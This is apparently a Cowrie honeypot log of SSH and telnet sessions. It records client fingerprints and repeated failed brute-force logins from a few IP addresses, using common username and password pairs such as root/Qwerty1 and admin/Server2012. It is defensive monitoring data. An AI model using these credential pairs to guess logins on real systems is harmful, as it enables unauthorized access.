{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:22.254745Z","src_ip":"34.39.58.191","session":"aea8562c0d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@3edc","message":"login attempt [root/1qaz@3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:22.587384Z","src_ip":"34.39.58.191","session":"aea8562c0d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:23.667013Z","src_ip":"34.39.58.191","session":"aea8562c0d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":51838,"dst_ip":"10.17.0.5","dst_port":22,"session":"239b7bec4380","protocol":"ssh","message":"New connection: 203.115.100.24:51838 (10.17.0.5:22) [session: 239b7bec4380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:25.792798Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:25.799598Z","src_ip":"203.115.100.24","session":"239b7bec4380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":51965,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ede93cc0ea","protocol":"ssh","message":"New connection: 203.115.100.24:51965 (10.17.0.5:22) [session: 24ede93cc0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:28.351893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:28.357307Z","src_ip":"203.115.100.24","session":"24ede93cc0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:28.584273Z","src_ip":"203.115.100.24","session":"24ede93cc0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"NoPassGst1234","message":"login attempt [admin/NoPassGst1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:29.505583Z","src_ip":"203.115.100.24","session":"24ede93cc0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:29.989885Z","src_ip":"203.115.100.24","session":"24ede93cc0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52068,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2185e02fa00","protocol":"ssh","message":"New connection: 203.115.100.24:52068 (10.17.0.5:22) [session: d2185e02fa00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:30.235579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:30.240546Z","src_ip":"203.115.100.24","session":"d2185e02fa00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:30.470446Z","src_ip":"203.115.100.24","session":"d2185e02fa00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:31.423627Z","src_ip":"203.115.100.24","session":"d2185e02fa00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.178.209.121","src_port":12324,"dst_ip":"10.17.0.5","dst_port":23,"session":"51ed312cbe43","protocol":"telnet","message":"New connection: 223.178.209.121:12324 (10.17.0.5:23) [session: 51ed312cbe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:31.496578Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:31.899906Z","src_ip":"203.115.100.24","session":"d2185e02fa00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52165,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ee7679d55ff","protocol":"ssh","message":"New connection: 203.115.100.24:52165 (10.17.0.5:22) [session: 8ee7679d55ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:32.139693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:32.148406Z","src_ip":"203.115.100.24","session":"8ee7679d55ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:32.381045Z","src_ip":"203.115.100.24","session":"8ee7679d55ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qwerty1","message":"login attempt [admin/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:33.345851Z","src_ip":"203.115.100.24","session":"8ee7679d55ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:33.817281Z","src_ip":"203.115.100.24","session":"8ee7679d55ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52263,"dst_ip":"10.17.0.5","dst_port":22,"session":"5038050a1df9","protocol":"ssh","message":"New connection: 203.115.100.24:52263 (10.17.0.5:22) [session: 5038050a1df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:34.033464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:34.038464Z","src_ip":"203.115.100.24","session":"5038050a1df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:34.244903Z","src_ip":"203.115.100.24","session":"5038050a1df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1","message":"login attempt [user/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:35.104828Z","src_ip":"203.115.100.24","session":"5038050a1df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:35.580067Z","src_ip":"203.115.100.24","session":"5038050a1df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52352,"dst_ip":"10.17.0.5","dst_port":22,"session":"37754b7384c6","protocol":"ssh","message":"New connection: 203.115.100.24:52352 (10.17.0.5:22) [session: 37754b7384c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:35.828662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:35.833844Z","src_ip":"203.115.100.24","session":"37754b7384c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:36.077502Z","src_ip":"203.115.100.24","session":"37754b7384c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Qwerty1","message":"login attempt [user2/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:37.032358Z","src_ip":"203.115.100.24","session":"37754b7384c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:37.509251Z","src_ip":"203.115.100.24","session":"37754b7384c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52448,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c94c690415c","protocol":"ssh","message":"New connection: 203.115.100.24:52448 (10.17.0.5:22) [session: 5c94c690415c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:37.742329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:37.747383Z","src_ip":"203.115.100.24","session":"5c94c690415c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:37.971107Z","src_ip":"203.115.100.24","session":"5c94c690415c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2012","message":"login attempt [root/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:38.892854Z","src_ip":"203.115.100.24","session":"5c94c690415c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:39.367225Z","src_ip":"203.115.100.24","session":"5c94c690415c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52545,"dst_ip":"10.17.0.5","dst_port":22,"session":"62ebe44125eb","protocol":"ssh","message":"New connection: 203.115.100.24:52545 (10.17.0.5:22) [session: 62ebe44125eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:39.617954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:39.622909Z","src_ip":"203.115.100.24","session":"62ebe44125eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:39.858838Z","src_ip":"203.115.100.24","session":"62ebe44125eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2012","message":"login attempt [admin/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:40.817502Z","src_ip":"203.115.100.24","session":"62ebe44125eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:41.287974Z","src_ip":"203.115.100.24","session":"62ebe44125eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52644,"dst_ip":"10.17.0.5","dst_port":22,"session":"654a9a267698","protocol":"ssh","message":"New connection: 203.115.100.24:52644 (10.17.0.5:22) [session: 654a9a267698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:41.528913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:41.534010Z","src_ip":"203.115.100.24","session":"654a9a267698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:41.766628Z","src_ip":"203.115.100.24","session":"654a9a267698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2012","message":"login attempt [user/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:42.721443Z","src_ip":"203.115.100.24","session":"654a9a267698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:43.191907Z","src_ip":"203.115.100.24","session":"654a9a267698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52742,"dst_ip":"10.17.0.5","dst_port":22,"session":"03f680b59ccd","protocol":"ssh","message":"New connection: 203.115.100.24:52742 (10.17.0.5:22) [session: 03f680b59ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:43.437379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:43.441448Z","src_ip":"203.115.100.24","session":"03f680b59ccd","protocol":"ssh"}
